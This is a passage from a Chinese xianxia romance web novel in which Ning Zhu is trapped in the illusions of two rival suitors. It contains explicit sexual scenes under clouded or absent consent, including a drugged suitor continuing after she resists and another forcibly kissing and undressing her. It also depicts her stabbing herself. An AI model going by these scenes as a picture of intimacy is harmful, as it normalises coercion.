是为了气他才假装自己是魔尊安插的细作? 宁竹真的是万万没想到……堂堂剑道魁首,龙傲天文男主,居然是个恋爱脑? 不,也不全是这样。 谢寒卿把她当成了家人, 他只是担心被家人抛弃。 谢寒卿抓着她的手, 抓得很紧, 似乎害怕一放手, 她就跑掉了。 宁竹看着眼前琼枝玉树的小仙君, 不由得有点心软。 她抬起手, 轻轻在他发上揉了一把。 宁竹带着哄劝的语气说:“好, 我不去找他了。” 她又试图唤醒他的意识:“但是谢师兄,记不记得我跟你说过, 这里是幻境。” “我们不能一直陷在这个地方。” 谢寒卿认真地点了点头:“宁宁,很晚了, 该休息了。” 宁竹很无助。 她快要哭了。 最后宁竹表情麻木, 被他拉进了屋子里。 谢寒卿主动替宁竹盖好了被子,随之爬了上来。 宁竹惊得倏然起身:“谢师兄,刚刚不是说好我们分开睡吗!” 小仙君拥着自己的那床被子,平静地说:“我们不是在分开睡吗?” 他指尖微动, 灯火熄灭,屋里霎时陷入一片黑暗。 谢寒卿率先躺了下去:“宁宁,睡吧。” 宁竹的眼睛在黑暗中适应了几秒,周围一切慢慢变得清晰。 小仙君墨发散乱,眉眼唇鼻清隽漂亮, 暗夜中也好似莹莹生辉。 宁竹叹了口气,慢吞吞爬回被窝。 她尽量往床里边儿靠,也不知道过了多久, 竟也迷迷糊糊睡着了。 宁竹半夜是被热醒的。 她迷迷糊糊觉察到,有人挨着她,不算很近,但身体的滚烫灼热源源不断传来。 空气里浮动着暧昧的,奇特的香味。 布料窸窣作响,小仙君呼吸很重,却被刻意压抑着,或深,或浅,偶有微小的气流拂过宁竹的耳尖,酥酥麻麻,如同过了电一般,叫宁竹半边身子都陷入酥麻。 忽然他紧紧贴上她,仿佛痛苦不堪,又仿佛欢愉至极:“……宁宁。” 有什么东西洒在了宁竹的后腰处。 初时滚烫,又迅速变得冰凉。 宁竹整个人彻底僵住。 她死死咬住唇,从耳尖到脚趾都像浸在滚水中,火辣辣的发烫。 谢寒卿抬手施诀,被揉皱的布料很快恢复平整洁净。 他从后面试探着,一点点抱住宁竹。 少女的身子柔软得不像话,如同一滩水被掬在怀中。 他屈膝,两具身体完美地贴合在一起。 宁竹没有推开他。 谢寒卿声音喑哑:“宁宁……让我侍候你。” 小仙君的指尖温凉如玉,擦过肌肤时带起一连串的颤栗。 他挑开她的衣带,如同游蛇,一路蜿蜒往下。 宁竹晕乎乎的。 仿佛有一道意识在抗拒,又有另一道意识在说,夫妻敦伦,本就是天经地义。 小仙君没给她过多思索的时间。 他倾身,一只手掐住她的腰,含住宁竹的耳尖,轻轻吮咬,研磨,另一只手动作不停。 宁竹哭泣着,低头咬住谢寒卿的手臂。 血腥味弥漫开,直到颤栗过后,宁竹瘫软在谢寒卿怀中。 月色朦胧。 窗外不知名的花幽幽绽开,香气随风飘散。 谢寒卿掰过少女的肩,撷住她的下巴,低头,含住她的唇。 唇齿交缠。 两尾游鱼追逐着,嬉闹着,侵吞着彼此。 宁竹的衣裙不知何时被剥落,肌肤相贴那一刻,宁竹打了个激灵,猛然清醒过来。 她一把 推开谢寒卿,猛然坐起来。 月色皎洁,如同温柔的水波在床头荡漾。 小仙君衣衫半褪,眼尾含着薄红,看着她:“宁宁?” 他的唇微微泛着肿。 宁竹一骨碌爬下床,飞快往外跑去:“别跟着我,我要去沐浴!” 慌乱之中,宁竹连鞋袜都没来得及穿。 她赤足踩在地上,跑过泥土微湿的□□,跑过碎石坚硬的山路,一路跑到攀云峰山腰处的一汪寒潭处。 宁竹扑通一下跳了进去。 刺骨的寒潭水将她整个人淹没其中,宁竹在里面足足呆了一分钟,才划着水上浮,露出水面,大口大口喘着气。 夜风拂过,宁竹打了个寒颤,神智终于彻底清明。 她飘浮在寒潭水中,感觉到毛骨悚然。 方才……她被幻境影响了心神,她竟以为自己就是谢寒卿的道侣。 宁竹往岸边游,扶住陡峭的岩石,坐了上去。 她浑身湿透,整个人都在发抖,但宁竹没有用灵力烘干自己,只是坐在岩石上,垂眸思索。 如果幻境也会影响她的心智,那就麻烦了。 不能再拖,她得想办法,尽快破解幻境,否则他们会被幻境彻底吞噬心智,困死在这里。 夜风寒凉,宁竹又浑身湿透,她很快打起了喷嚏。 宁竹摸了摸胳膊,决定先回去泡个热水澡。 一时半会她也想不解决的办法,把自己熬病了可不划算。 无咎洞府的格局与现实中一模一样,宁竹轻车熟路走到客院,进了浴房。 宁竹慢吞吞褪去衣衫,将自己浸到热水中。 热水驱散方才浸入骨缝的寒意,宁竹舒服得喟叹了一声。 她有一下没一下揪着水面上的紫鸢花瓣,继续思索。 放一把火烧了这里?就像在自己的幻境中时? ……不,应该行不通。 幻境是自己心中的执念形成的,她就是把整个无咎洞府都捣了,执念还在,谢寒卿也能再造出一个一模一样的无咎洞府。 宁竹头好痛。 她放松手脚,将自己慢吞吞地划入水中。 ……不管怎么说,她至少不能再跟谢寒卿同眠了。 宁竹在水里吐着泡泡。 幻境太可恶,竟然趁人睡得迷迷糊糊时侵入心神。 可恶,可恶至极! 头顶传来一道喑哑的声音:“宁竹。” 宁竹吓得呛了一口水,扑腾着钻出水面。 “咳咳咳——” 宁竹看清来人之后,咳嗽得更厉害了。 “……江,江似?!” 少年披散着一头墨发站在浴池边,热气氤氲,模糊了他的眉眼。 宁竹吓得抛出一个遮蔽诀,飞快从水中爬出来穿好衣服。 但宁竹不知道的是,江似生有邪瞳,遮蔽诀对他来说并没有用。 少女皮肤白皙,腰侧那几道鲜红的掌印便显得尤为明显。 宁竹刚刚低头系好衣带,忽然有人抓住她的手。 宁竹愕然抬头。 那双黑得几乎泛起红的眼瞳定定看着她,从她还泛着肿的唇上划过,从她耳垂上那圈淡淡的牙印上划过。 江似手掌用力,几乎快要捏碎她的手腕。 宁竹蹙眉那一刻,他松开手,带着笑问她:“宁竹,你不是来幻境中带我出去的吗?我们为什么不走?” 宁竹警惕地看着他:“江似,你现在……想起多少来了?” “果然如你所说,阿宁是幻觉。” 他轻描淡写:“我杀了她。” 他仔细辨认着她的表情:“幻境坍塌了。” 宁竹的眼眸微微瞪大,她急切地拉着他的手:“你看到光团了吗?” 光团? 江似回忆着,点头:“看到了。” “那你出幻境了吗?你的那个光团消失没?” ……出幻境?光团消失? 江似看着她,表情都没有变化半分,说出谎话:“嗯,光团消失了,我出去,又回来了。” “宁竹,你还在里面,我要带你出去。” 宁竹雀跃起来,所以她面前这个是清醒版的江似! 如果是这样的话,那他们现在所处的就是属于谢寒卿的残缺幻境,而不是融合幻境! 既然是残缺的,肯定会有破裂的边缘吧? 宁竹问江似:“谢寒卿的这个光团是不是残缺状态?” 江似思索片刻:“不是。” 宁竹很失落,难道幻境会自动修复弥补? 江似观察着她的表情,试探着问:“我们为什么还不离开幻境?” 宁竹沉默片刻,将自己对幻境的猜测同他说了。 “……也就是说,要想出去,必须消解谢寒卿的执念。” 她蔫巴巴把自己杀了那个假宁竹的事情说了,摇头道:“但是不起作用,如果我们先出去了,谢师兄也会再捏造出一个宁竹。” “他意识不到自己是在幻境。” 江似眼珠转了下。 意识不到这是幻境么? 他唇角露出一抹嘲讽的笑。 幻境又如何,能和她长相厮守,在此蹉跎一生又如何? 何必要出去? 宁竹愁得眉头紧拧:“现在我也不知道该怎么办。” 江似抬手,轻轻帮她拨了下脸颊边的乱发:“宁竹,我有一个办法。” 宁竹眼眸一亮。 江似带着笑,一字一句说:“把谢寒卿杀了。” “这是他的幻境,他死了,幻境自然就被破解了。” 宁竹猛然摇头:“不行!这是谢师兄的幻境不假,但他是真的……” 江似忽然笑了下:“你忘了吗?在幻境中,人并不会死。” 他抬手,点了点喉咙处:“否则我怎么可能还活着?” 宁竹迟疑了。 ……江似说的的确有道理,分明她亲眼看见两人都对彼此祭出杀招,但两个人都毫发无损。 宁竹沉默片刻:“可是江似,你既然说幻境里杀不死人,那又如何通过杀了谢师兄让幻境坍塌呢?” 江似的指尖轻轻擦过宁竹的脸颊,若即若离间,他垂下长睫:“因为你啊。” “你是谢寒卿的执念,只有你杀了他,才能让他痛彻心扉,脱离幻境,不是吗?” 宁竹陷入犹豫。 方才谢寒卿和江似交手她是亲眼看见的……可是如果自己朝他动手,会不会又不一样? 毕竟在这个幻境里,谢寒卿的执念是她。 江似看出她的犹豫,暗自咬牙,偏偏还要带着笑说:“你想被永远困在这个幻境中么。” 宁竹知道他们被困在这里越久,肯定越不妙。 但让她现在就对谢寒卿动手?她总觉得惴惴不安。 “宁宁?”屋外传来谢寒卿的声音。 宁竹吓得浑身一颤,捏了个静音结界,反手就把江似推到水中,她一屁股坐到浴池旁,双腿浸到池中。 谢寒卿又唤:“宁宁?” 江似想要浮起来,宁竹慌乱间一脚踩在他身上,想把他压下去,也不知踩到哪里了,对方吃痛,竟是反手抱住她的双腿,将人直直拖入水中。 宁竹险些叫出声来! 她挣扎了下,连推带踹,江似却死死抱着她的腰不肯松手。 门扉微动,谢寒卿……好像要进来了。 宁竹忙解开静音结界,冲外面高声喊:“我在沐浴!没穿衣服,谢师兄你不要进来!” 与此同时,水下的江似竟是隔着衣料,衔住她腰间软肉咬了一口。 宁竹的尾调变得尖利。 谢寒卿动作一顿。 他垂着眼睫,握在门环上的手微微收紧,指尖泛出苍白。 假装没有觉察到屋子里属于男子的气息,他哑声说:“……好。” 宁竹又补充:“谢师兄,我饿了,你可以帮我去灶房下碗面吗?” 话音落,她恨不得咬掉自己的舌头。 谢寒卿连煎药都不会,怎么可能会下面。 她忙说:“帮我先烧一锅水就好。” 屋外人影微晃,片刻后,一道滞涩的声音响起:“嗯。” 影子拉长,脚步声响起。 谢寒卿离开了。 宁竹松了一口气,从水中跳出来,声音里带着怒气:“江似!” 江似摊开手,慢悠悠浮出水面。 少年的眉眼沾了水渍,愈发黑沉,浓郁得几乎渗出墨色。 他眼尾生得尖利,笑起来的时候便像是带着一把小勾子。 江似靠到池壁上,似笑非笑看她:“你在紧张?” 宁竹气得凝出一朵水花丢在他身上:“玩笑不是这样开的!” 江似渡着池水过来。 少年没束马尾,墨发浸了水,沉甸甸地披了满肩,他容色苍白,一双眼黑漆漆的,莫名生出几分鬼气。 宁竹站在池边,他站在水中,仰头看她。 江似偏了下头:“宁竹,你说我们是恋人的。” 宁竹心头一跳,生出点儿违和感。 ……他不应该知道这是自己编造的 借口吗? 但江似这个人,一贯爱开玩笑。 宁竹没放在心上:“你身边当时还有一个假宁竹,我这么说都是为了救你出幻境。” 江似重复道:“是吗?” 两人都湿透了。 宁竹衣裙轻薄,被水沾湿后,贴在她身上,将少女的身子勾勒得一览无余。 江似的目光似乎透过薄薄衣料,落在她腰侧那几枚指印上。 ……骗子。 说好了他们是恋人,却要先出现在谢寒卿的幻境。 口口声声说这里一切都是假的,却甘愿扮演谢寒卿的道侣。 嫉妒的感觉燃烧着他的骨血,叫他几乎发起抖来。 江似缓缓抬起手,牵住了宁竹的指尖。 他手掌中凭空变幻出一柄黑色的短剑。 剑刃很短,但薄而锐利,透着森森的光。 江似抓着她的手握住短剑,笑着说:“宁竹,我们救谢寒卿出去吧。” “今天,就杀了他。” 宁竹收拾好出浴房的时候,天色已经蒙蒙亮起。 灶房中水汽蒙蒙,谢寒卿卷起袖子,竟然在试图揉面。 只是小仙君哪里会做膳食,他加了太多水,满手都是面糊糊,甚至连脸颊上都溅了一点,清冷感荡然无存,反倒有点像一只把自己弄得脏兮兮的花猫。 宁竹忍不住噗嗤笑了一声。 她走上前去,抬起手指替他擦掉脸颊上沾的面糊:“我来吧,谢师兄。” 宁竹动作麻利,很快便揉好了面。 不久之后,两人坐在桌案前,面前放着两碗葱花油绿,卖相极好的面。 热气氤氲,模糊了彼此的眉眼。 宁竹心事重重,嘴里也尝不出个咸淡,匆匆把这碗面吃了。 谢寒卿一直在看她,他的目光无声的从她脸上划过,每当宁竹投来视线,他便悄然挪开。 太阳出来了。 晨光熹微,柔软的金黄的光斜斜映照进屋内,将周围一切都镀上一层朦胧。 宁竹起身:“谢师兄,我想出去走走。” “……一个人吗?” 宁竹有点心虚,不太敢看他的眼睛:“嗯,一个人。” “早些回来。”谢寒卿没有阻止她。 宁竹讨要了一柄飞剑,离开了无咎洞府。 她其实想再去看看,幻境会不会还存在着残缺的边缘。 谢寒卿坐在桌案边,一动不动。 片刻后,他起身,去了宁竹待过的浴房。 浴房里修建着一个小小的浴池,水是从外面引来的,沐浴之后会自动轮换。 池水常年处于热气腾腾的状态,旁边的置物架上放着各式各样的浴盐和花瓣。 谢寒卿走到置物架边,目光停顿。 置物架与墙角的缝隙处堆着一件小衣,鹅黄色,上面绣着几株漂亮的仙兰。 小衣湿哒哒的,被人揉皱,团成一团堆在地上。 他弯下腰,捡起了那件小衣。 那双淡若琉璃的眼一动不动盯着这件小衣,片刻后,小衣化为齑粉,谢寒卿面无表情走出了浴房。 宁竹已经飞过了天玑山的范围,幻境与现实世界一模一样,宁竹路过幽冥集市的时候,甚至发现连铺子的位置都还原了。 她越发觉得心惊肉跳。 又往前飞了约摸一个时辰,宁竹遇到了空气墙。 前面一切都陷在朦朦胧胧的雾气中,她试图穿过,却怎么也穿不过,看来这里就是幻境的边缘了。 宁竹便以发现空气墙的地方为起点,顺着边缘一路摸查。 待到一处葱茏的树林,忽然有人从身后唤她:“累不累?” 宁竹吓了一跳,猛然回过头去。 不知不觉已近黄昏,巨大的落日色泽昏黄,悬浮在少年的背后。 江似立在飞剑上,打了个哈欠:“都飞一天了,你在找什么呢?” 他未束马尾,银黑交织的发在风中凌乱飞舞。 第66章 宁竹很无语:“你一直跟着我啊。” 江似倒是没有否认:“别找了, 幻境没有残破的边缘,都已经弥合了。” 宁竹此时也累得很,估算着时间,她已经快要把这个幻境转了一圈了。 她看着下方葱茏的树林, 也打了个哈欠:“这里还有一小片没查过, 我再下去看看。” 江似忽然拉住了她的手。 少年的眼瞳幽深漆黑, 他一字一句说:“那边我去看过了, 依然出不去。” 那边是他来的方向。 如果宁竹一直往那边飞, 会发现这个什么幻境根本没有自动弥合。 原来魔宫的位置坍塌成无数碎片, 而那些缝隙下方隐隐可见她提到过的光团。 江似的直觉告诉她, 不能被她看到。 “别浪费时间了,赶紧休息一下, 今晚便动手。” 宁竹总觉得惴惴不安,算下来, 他们已经被困在幻境里好几日了。 的确不该再犹豫了。 她沉默片刻, 心事重重点点头:“好吧,我们现在就回去。” 江似牵着她的手,把她拽到自己的飞剑上:“省点力气吧。” 宁竹从善如流,站在他身后, 几乎有些昏昏欲睡。 江似未束马尾,披散的长发时不时拂过她的脸颊,宁竹觉得有点痒,她拨开他的头发:“江似,你怎么不绑头发呀?” 江似眸光一凝, 若无其事说:“怎么,想让我绑头发吗?” 宁竹随口说:“没有,只是有点奇怪, 你之前不是一直绑高马尾吗?” “那你帮我绑吧。” 宁竹没有多想,问他:“你的发带呢?就是我之前送你那根。” 江似眼珠转了下:“我没带进来。” 他凝出一条黑色的发带递给她。 御了一天剑,宁竹已经很累了,她随手接过发带,麻利地帮江似绑好了头发。 江似抬起手,碰了碰自己的马尾。 ……现实世界中,他是这样的发型么? 两人路过了幽冥集市。 下方街巷熙熙攘攘,宁竹甚至看到了那家他们常去的抄手铺子。 她感慨了一句:“这幻境太真实了,待久了,人真的会分不清自己到底是在现实还是在幻境。” 江似注意到她的视线,试探着说:“那家馄饨铺子……” 宁竹笑了下:“是呀,我们经常去那里吃饭。” 这些记忆对江似来说一片空白。 他忽然停住飞剑:“还没天黑,我们去吃一碗馄饨吧。” 宁竹本来想说,这是在幻境,吃的东西都不做真的,但想起刚刚她在无咎洞府做的那碗面,和现实生活中尝起来也没什么区别。 ……自己答应了谢寒卿要早点回去的。 但想起待会儿她要做的事情,宁竹胃部不舒服的扭动了一下,下意识有些逃避。 于是她点头:“好吧。” 两人一前一后走进了馄饨铺子。 掌柜的依然是那个老婆婆,她笑盈盈对两人打招呼,问他们想吃什么口味的。 违和感这个时候再度浮现。 这里到底是谢寒卿的幻境,谢寒卿只知道幽冥集市有这家馄饨铺子,但他不知道宁竹和江似经常来这里吃。 自然也就不会知道这老婆婆已经记得宁竹和江似两个人了,他们两个人每次来点的口味都是一样的。 宁竹喜欢吃荠菜猪肉馅的,要多加辣,江似喜欢吃白菜猪肉馅,要多放醋。 宁竹照着两人的口味点好馄饨,沉默着坐到了桌案边。 幻境再逼真,也只是幻境。 ……今天晚上无论如何,她都得动手了。 江似一直在观察宁竹。 觉察到她的心情不太好,江似开口:“在害怕吗?” 宁竹点了点头。 她叹了口气:“可是已经没有更好的办法了。” 江似抽出一双筷子递给她,笑道:“你放心,不会出什么纰漏的。” 既然她不喜欢这里,等杀了谢寒卿,他就带着宁竹回到坍塌的位置,离开这个破幻境便是。 江似的手因为兴奋有些发抖。 记忆残缺的感觉可不太好受,他已经有些 迫不及待要离开这个幻境了。 天色暗沉下来。 宁竹磨磨蹭蹭飞到攀云峰,谢寒卿的无咎洞府掩映在墨竹林中,看不分明。 宁竹回过头对江似说:“我会在谢师兄睡着之后动手,你就待在这片墨竹林,如果有什么情况及时接应我们。” 暗淡天色掩盖住了少年眸中的异样。 在宁竹离开的那一瞬,他忽然拉住了她的手:“宁竹,别忘了这里是在幻境。” “你不是他的道侣,不要心软。” 宁竹沉默片刻,慢吞吞将自己的手从他的手中拽出来:“我知道的。” 江似盯着宁竹的背影消失,脸色一点点阴沉下来。 垂在身侧的手握紧,又松开。 ……没关系,他无法杀死谢寒卿,但是宁竹一定可以。 过了今晚,这个世界上就再也不会有谢寒卿。 ……从此之后,宁竹便是他一个人的。 宁竹踏着满院残花,走到了屋外。 灯火摇曳,小仙君的剪影投映在窗棂上,形如孤鹤。 屋内传来玉石相击的声音,他似乎在下棋。 宁竹放轻了脚步。 门忽然开了。 谢寒卿旁边点着一盏天青色的鹤形玉颈灯,如鎏金融融的光落在他清冷的眉眼之上,叫整个人生出一种霞姿月映的艳丽感。 他应该是刚刚沐浴过,披散在肩头的头发还带着湿,眼角泛着薄红,抬起一双清凌凌的眼看向她。 宁竹心头一跳。 ……谢,谢师兄这是怎么回事儿? 为何看起来同往常不大一样。 宁竹正要开口,忽有一道温柔的剑意卷着她的腰,将人拉到了自己怀中。 冷香扑面而来,夹杂着一点沐浴后的水汽,湿润细腻得像一场雾,将她整个人笼罩其中。 谢寒卿将下巴搁到她的脖颈之上,开口,声音有些哑:“怎么那么晚才回来?” 气息缱绻,深深浅浅拂过她的耳尖。 宁竹不由自主的起了一串鸡皮疙瘩,她轻轻往前挪了挪,试图与他拉开一点距离。 然而小仙君很快又贴上来,他将她紧紧抱在怀中,颇有些霸道地掰过她的肩,俯身,含住了她的唇。 他轻车熟路地撬开齿关,恨不得将她吞吃入腹。 宁竹迷迷糊糊,很快软成一滩水,身子往下滑了三分。 谢寒卿提着她的腰往上抱了抱,宁竹的臀忽然抵到了什么东西。 像是有人给了她一个巴掌,宁竹猛然惊醒。 她抬手推开谢寒卿。 因为动作太急,拉出一道细细的银丝。 小仙君眼尾的红洇得更开了,像是妖冶的花开到糜烂。 他的唇有些肿,唇角沾着些亮晶晶的水光。 “宁宁……”声音也哑得不像话。 宁竹几乎是连滚带爬地从他怀中跳了下去。 她双腿一软,险些没站住,慌乱之间,她往旁边的棋盘上扶了一把。 棋子噼里啪啦掉了一地。 满地黑白相映,一个滚落得有些远的棋子在不停地旋转。 宁竹语无伦次,结结巴巴说:“我,我还没有沐浴。” 她不敢再多看谢寒卿一眼,扭头便跑。 棋子终于停下了旋转,宁竹的脚步声渐远。 屋内霎时陷入安静。 谢寒卿微微垂眸。 体内血气暴走,却迟迟得不到纾解,胀痛不堪。 又是浴房。 难道她喜欢这样吗? 小仙君起身,衣袍飘逸,如同鹤翅招展,他足下无声,朝着浴房走了过去。 掉落得最远的一枚棋子旁,一枚木匣被人打开,又随手抛落在地。 一只木匣中足足有三枚八阳鹿茸丹,此时木匣里空空如也。 宁竹一口气跑到浴房中。 她背脊抵住门,呼吸有些急促。 唇上仍残留着酥麻之感,她抬起手碰了碰,捂住脸哀叹了一声。 宁竹从袖中拿出那把锋利的短剑。 寒光微晃,映亮她的眼瞳。 她沉默片刻,把短剑收好,磨磨蹭蹭下了水。 门就是这个时候被推开的。 宁竹一惊,猛然抬起头。 夜色如墨,小仙君宽袍广袖,白衣清冷,立在门口。 “砰——” 门在他身后重重关上。 宁竹未着寸缕,吓得下意识往水里一缩。 谢寒卿走过来,跪坐在浴室边,长睫微敛,眼尾薄红,苍白的指尖掬起她的长发,替她梳洗。 宁竹乍然反应过来,她结结巴巴说:“谢,谢师兄,我自己来就好。” 小仙君的指尖从她的头顶一路往下,停留在她的耳后。 宁竹轻轻战栗。 谢寒卿掌下用力,揉搓着她的耳垂。 “为夫帮你。” 如同仙鹤垂首,他吮去她眼睫上沾着的水珠,柔软的唇瓣一点点往下,最后含住了她的唇。 谢寒卿再度她的撬开齿关,舌如游鱼般滑入。 宁竹终于察觉到了一丝不对劲。 谢寒卿的身子滚烫,气息亦有些不匀。 她唔唔两声,试图推开他。 但小仙君不肯放开她,反而紧紧扣住她的脖颈,攻城掠池,一寸寸入侵。 宁竹反手探上他的手腕。 她瞳孔一缩。 谢寒卿体内血气暴走……竟像是服了什么丹药一样? 小仙君的手指已经滑到水下。 宁竹呜了一声,脸色涨红,整个人险些往下滑落。 不行,不能这样下去了。 宁竹指尖红丝翻飞,反手将谢寒卿捆了起来,又飞快为自己穿上了衣服。 池边已经被池水弄得一片潮湿。 谢寒卿跪坐在地,白衣被打湿了大片,红丝缚住他的手脚,整个人面色潮红,琉璃般的眼亦是眸光潋滟。 他扬起脖颈,用沙哑的嗓音哀求地唤她:“宁宁。” 宁竹的头发也在滴滴答答滴水。 她顾不得用灵力烘干头发,跪坐在谢寒卿旁边,用灵力探入他的经脉。 他身体滚烫,尤其丹田处,像是藏了一团火焰在熊熊燃烧。 鼻尖亦然渗出细细的汗来。 宁竹抬手替他拭去鼻尖的汗,蹙眉:“谢师兄,你方才到底吃了什么?” 谢寒卿瞳孔涣散,扬起下巴,轻轻舔了一下她的手臂。 宁竹触电一般甩开手:“谢,谢师兄!” 小仙君的眼尾红得几乎要渗出血来,他哑声说:“宁宁,我会让你舒服的。” “……不要去找旁人。” ……谢寒卿到底在说什么? 宁竹一头雾水,但看他太难受了,她只能柔声哄劝道:“好,我不去找旁人。” “谢师兄,你告诉我,你方才到底吃了什么?” “再这样下去,可能会导致你身子受损……” 一抹温柔的剑意包裹住她的手,将她微微往下拽。 宁竹指尖触到一个庞然大物。 小仙君眼瞳依然如往常一般冷淡而剔透,他认真地看着她,一字一句说:“……它会侍候好你。” 宁竹愣了两秒,唰一下抽出手来,脸色涨得通红。 她慌乱起身:“我,我去帮你找解药!” 宁竹慌不择路冲出浴房,忽然被人拉住手腕,一把拽入怀中。 宁竹险些叫出声来。 江似钳住她的腰,掌下力气很大,贴在她的耳边,一字一句说:“是不舍得吗?” “你想被困在幻境里,永远也出不去么?” 滚烫的,带着妒意的呼吸,尽数喷洒在她的耳畔。 宁竹不舒服地扭动了一下身子:“我,我没有,我只是想出来找个解药……” 江似冷笑一声:“解药?这里的一切都是幻觉,把他杀了,一切自然迎刃而解,还需要什么解药?” 屋内摇曳的灯光落在少女的脸颊上,粉面桃腮,情动后的潮红还未褪去。 江似忍住杀意,将她的脸掰了过来。 少年的眼瞳幽深不见底,在那张惨白的脸上,如同两簇幽黑的火焰。 江似伸出手,按在她微微泛肿的红唇上。 一个需要服用丹药才能侍奉她的废物,也 能叫她如此不舍? 既然如此…… 江似的指腹在她的唇上摩挲了片刻,忽然倾身,含住了她的唇瓣。 与谢寒卿带着温柔的霸道不同,江似就如同一匹凶狠的小狼,狠狠衔着她的唇瓣吮咬研磨。 尖锐的齿几乎要割破她的唇瓣。 宁竹瞳孔一缩,抬手去推他。 江似却将人箍得更紧,他狠狠托住她的后颈,像要把她整个人嵌到自己身体里一样。 宁竹呼吸不畅,眼瞳里溢出迷茫。 江似的手挑开了她的衣带。 像是被当头棒喝,宁竹忽然用力,狠狠咬住了江似的舌尖。 血腥味弥漫开,江似吃痛的那一瞬,宁竹如法炮制,用红丝缚住他的手脚,猛然将人推开。 少年撞在墙壁上,马尾有些乱了,唇角亦带着一点殷红。 他脸上带着顽劣的笑意,嗓音喑哑:“阿宁,你看,我也能将你侍奉得很好。” ……阿宁。 宁竹忽然毛骨悚然。 现实世界的江似从来不会这么叫她。 现实世界的江似也不会这么对她…… 他是幻境中的江似! 他根本就没有离开过幻境! 宁竹往后退了一步。 江似笑盈盈看着她,一双黢黑的眼却满是森冷之意:“阿宁,杀了他,我会让你更快乐。” 轰的一声,门扉碎裂。 谢寒卿不知何时挣脱了红丝,他白衣湿透,面无表情出现在门口,唇角已然溢出一丝极细的血线。 谢寒卿转了转眼珠,看向宁竹:“宁宁,不是说了吗?不要去找旁人。” 剑意缠住宁竹的腰,将她带到自己身边。 谢寒卿牵住她的手,十指相扣。 江似用那双洞黑的眼定定盯着两人。 他用带着蛊惑的语气说:“阿宁,还不动手吗?” 谢寒卿偏头看向宁竹。 方才服下的丹药还在影响他,小仙君气息很乱:“宁宁……” 两人一左一右,都在看她。 宁竹的后背渗出冷汗。 幻境融合了。 即使是杀了谢寒卿,江似的幻境又能破解吗?还是说她要将江似也杀了? 她一点点垂下眼。 江似和谢寒卿的确无法杀了彼此,或许是因为他们两个人都被困在幻境中,并非本体。 但是她不一样。 她是被幻境吸进来的。 江似一直在怂恿她杀了谢寒卿,难道是他知道些什么? 如果她动手,会不会真的能把谢寒卿杀死? ……她才是那个变数。 她才是破除他们两人幻境的关键。 江似忽然开口:“阿宁。” 话音落,强劲的魔气将谢寒卿束缚了起来,宁竹和他的手被迫分开。 谢寒卿的袍角在鼓动,飞舞。 江似眼神阴冷:“阿宁,不是要救他出去吗?” 谢寒卿也在看宁竹:“宁宁。” 宁竹忽然从袖中拿出了那把短剑。 在两人惊恐的眼神中,她闭眼,双手合握短剑,用力地刺向了自己的胸膛。 “阿宁!!” “宁宁!!” ……好痛。 宁竹下意识想抬手按住胸口的位置,却觉得手脚绵软,用不上力气。 她迷迷糊糊睁开了眼睛。 光影斑驳,稀疏落下,头顶是苍翠茂密的植被。 滴答,滴答。 清澈冰凉的水珠落在宁竹脸上。 宁竹的意识慢慢回笼。 她在哪里? 宁竹的手指在地上抓了一把。 湿润的泥土和腐叶从指缝滑落。 应该出幻境了吧? 她记得无咎洞府在眼前坍塌了。 胸口好痛。 宁竹重重呼吸了两口,感觉喉头都是血腥味。 ……她是不是差点把自己作死了? 幻境中杀人原来是真的会死人啊。 还好下手力度不重,并且避开了命脉,否则她现在真的就是一具冰凉的尸体了。 宁竹一点点摸向自己的腰侧。 空的。 ……她很想骂脏话。 她的乾坤袋呢?既然从幻境里出来了,她的乾坤袋不应该在腰侧挂着吗? ……完蛋了。 还找什么音希山,找什么神鸟。 没有外挂乾坤袋,以她的修为,但凡遇到一个厉害的妖兽,她就只有死路一条。 宁竹悲从中来,更没什么力气起身了。 她躺在地上一动不动,放空自我,直到看到头顶树梢晃动起来。 宁竹吓了一跳,勉强凝出一团红丝握在掌心,准备随时发动攻击。 宽大的树叶晃动了片刻,忽有一个猿猴一般的东西从上面荡了下来。 那人生着古铜色的皮肤,穿着一身充满野性的黑衣,不是传统法衣宽袍广袖的制式,而是袖口紧束,腰封贴紧,胸口却微微裸露的款式。 男人蜜色的,健康的胸肌露在外面,编成许多小辫子的头发垂落肩头,上面缠绕着各色各样的宝石。 完全就是一个野性的异域王子。 ……如果不是宁竹看清了那张脸。 宁竹:!!! 她折腾了那么一圈,居然还在幻境? 第67章 宁竹觉得喘不上气来, 她胸膛快速起伏,两眼一黑,晕了过去。 姜思无抓住一条藤蔓荡下来,在看清宁竹之后, 他疑惑道:“宁师妹?你怎么在这里?” 姜思无甩动了一下辫子, 宝石叮当作响。 他跳到宁竹面前, 注意到了她胸口处的伤。 姜思无面色一变, 弯腰, 拖着宁竹的臀, 将人抱了起来。 在他起身那一瞬, 姜思无忽然觉得有人从旁边狠狠拍了一下他的手。 姜思无反手便抛出一个法诀。 法诀打在了空气上,什么都没有。 姜思无嘀咕了一声“见鬼”, 抱着宁竹踏上一柄形状粗犷的飞剑离开了。 宁竹的识海中。 江似站在一块礁石上,脸色阴沉:“好色之徒, 手往哪放的!” 他不远处的孤舟之上, 谢寒卿静坐船头,长睫微敛:“以宁竹现在的情况,有人接走她,照看她才是正事。” 江似冷笑:“就那个不靠谱的姜思无?你也放心把宁竹交给他?” 谢寒卿没有回答, 垂眸不语,不知道在想些什么。 江似看向他身下那只随着水波晃荡的小舟,咬牙切齿,心底嫉妒翻涌。 就在他凝出一团魔气时,谢寒卿忽然开口:“这是在宁竹的识海, 你若想搅得翻天覆地让她难受,大可以试试。” 江似眸光阴沉,掌中魔气一点点消散。 他恨不能杀了谢寒卿, 但他杀不死他。 更何况现在他们二人都被困在宁竹的识海中,若是大动干戈,只会让宁竹受伤。 江似冷哼一声,抬手掀起海浪无数,海浪霎时凝固在半空中,将他和谢寒卿隔开。 如此便暂时可以不用看见那张讨厌的脸。 江似又凝出一片礁石,开始盘腿打坐疗伤。 宁竹识海中,那场无休无止的雪仍在密密匝匝地下。 谢寒卿眼睫上落了一层浅浅的白。 他静坐舟头,思索着幻境中的种种。 宁竹用短剑刺向自己的那一瞬,他和江似同时用神识替她去挡。 那柄短剑,刺伤了他们三个人。 之后谢寒卿陷入了短暂的昏迷。 再苏醒时,他已经脱离幻境,但却被困在了宁竹的识海。 他试过几次,只能分出一点点神识离开宁竹的识海,但只要离宁竹太远,神识便会被自动收回。 他没和江似交流,但他猜测江似也做过同样的尝试。 他们同时被困在了宁竹的识海。 方才他送出一缕神识,在极限范围内探查了一圈周围。 直到看到那副打扮的姜思无,谢寒卿才终于印证了自己的猜测。 他们果然还在幻境中。 